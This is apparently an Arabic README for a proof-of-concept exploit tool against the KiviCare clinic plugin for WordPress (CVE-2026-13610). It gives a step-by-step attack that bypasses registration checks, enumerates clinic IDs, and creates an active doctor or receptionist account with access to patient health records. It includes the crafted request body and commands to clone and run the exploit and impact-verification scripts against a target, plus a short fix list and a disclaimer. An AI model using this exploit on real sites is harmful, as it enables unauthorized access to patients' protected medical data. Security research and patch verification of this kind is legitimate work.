
استغلال PoC لإنشاء حساب طبيب/موظف استقبال دون مصادقة في إضافة KiviCare لـ WordPress عبر إدارة صلاحيات غير سليمة، مما يوفر وصولًا على مستوى الموظفين إلى PHI.
CWE-269 (إدارة الامتيازات غير الصحيحة) | تسجيل غير مصادق عليه بدور موظف يختاره المهاجم → كشف معلومات المريض الصحية المحمية (PHI)
ثغرة حرجة في إضافة WordPress KiviCare – Clinic & Patient Management System (الإصدارات حتى 4.5.1 ضمناً) تسمح للمهاجمين غير المصادق عليهم بتسجيل حساب طبيب (kiviCare_doctor) أو موظف استقبال (kiviCare_receptionist) بكلمة مرور يختارونها بأنفسهم، مرتبطاً بعيادة من اختيار المهاجم.
توجد الثغرة لأن نقطة نهاية التسجيل العامة تأخذ معامل user_role مباشرة من جسم الطلب، وتتضمن القائمة البيضاء للتحقق أدوار موظفي العيادة:
| البوابة | ما تفعله | النتيجة |
|---|---|---|
permission_callback | لا يوجد is_user_logged_in()، ولا nonce، ولا فحص صلاحيات | يجتاز؛ ينتهي بـ return true |
القائمة البيضاء لـ user_role | يقبل kiviCare_doctor وkiviCare_receptionist وkiviCare_patient | يختار المهاجم دور الموظف |
معامل patient_role_only | مُعلن بالقيمة الافتراضية yes | لا يُقرأ أبداً — معامل ميت |
| reCAPTCHA | يُتحقق منه فقط if (isset($params['recaptchaToken'])) | يتم تجاوزه بحذف المعامل |
نقطة نهاية التسجيل POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) محمية فقط بواسطة
checkRegistrationPermission() (:602–650)، والتي:
true فوراً إذا كان users_can_register مفعّلاً (بدون فحص مصادقة).KCOption::get() تُرجع null في التثبيتات الافتراضية.return true في نهاية الدالة.ثم يقرأ معالج register() (:1277–1387) قيمة user_role من جسم الطلب، ويعيّنها إلى نموذجي KCDoctor / KCReceptionist، ويستدعي $model->save() — الذي يشغّل wp_insert_user() وsetRole('kiviCare_doctor') (app/models/KCDoctor.php:136) دون أي فحص تفويض على الإطلاق. الحساب الناتج يكون نشطاً ومرتبطاً بالعيادة التي اختارها المهاجم.
تشفير جسم الطلب من طرف إلى طرف (E2EE) في الإضافة ليس عائقاً: نقاط نهاية المصافحة (server-key, config/register-key) غير مصادق عليها (app/controllers/api/ConfigController.php:190–205)، لذا يمكن لأي عميل التفاوض على مفتاح ضيف وإرسال حمولة مشفرة.
الشرح الكامل: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
يكتشف البرنامج تلقائياً وضع النقل (JSON عادي مقابل مشفر بـ E2EE) ويسرد معرفات العيادات عندما لا يتم توفير --clinic.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
يسجّل الدخول عبر REST، ويعيد ربط مفتاح استجابة E2EE للحساب، ثم يستدعي نقاط النهاية الخاصة بالموظفين فقط (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
الاستغلال الناجح ينتج عنه حساب موظف نشط مرتبط بعيادة حقيقية، دون الحاجة إلى مصادقة:
wp-admin (read + upload_files) — نقطة انطلاق لمزيد من الهجماتنقطة النهاية لا تسمح بإنشاء حساب administrator في WordPress (القائمة البيضاء لـ user_role ترفضه)، لكن دور الطبيب كافٍ للوصول الكامل إلى البيانات السريرية.
patient_role_only المُعلنcurrent_user_can('create_users') + التحقق من noncecheckRegistrationPermission — إزالة return true في نهاية الدالةrecaptchaToken عند تفعيل reCAPTCHA (حالياً اختياري)لأغراض التعليم والاختبار المصرح به فقط.
هذه الأداة مخصصة لباحثي الأمن ومختبري الاختراق الذين لديهم تفويض كتابي صريح لاختبار الأنظمة المستهدفة. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة. تم إجراء جميع عمليات التحقق على البنية التحتية المخبرية الخاصة بالمؤلف.
ghostpels — أبحاث أمنية وتطوير استغلال الثغرات
هذا المشروع مرخّص بموجب رخصة ghostpels لأبحاث الأمن.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-13610 |
| CWE | CWE-269 (إدارة الامتيازات غير الصحيحة) |
| الإضافة | KiviCare – Clinic & Patient Management System |
| المتأثر | الإصدارات حتى 4.5.1 ضمناً |
| تم التصحيح | غير مؤكد حتى وقت هذا التحليل |
| النوع | إنشاء حساب غير مصادق عليه بدور موظف (تصعيد امتيازات) |
| الباحث | Sai Praneeth Koti |
| نُشر | 2026 |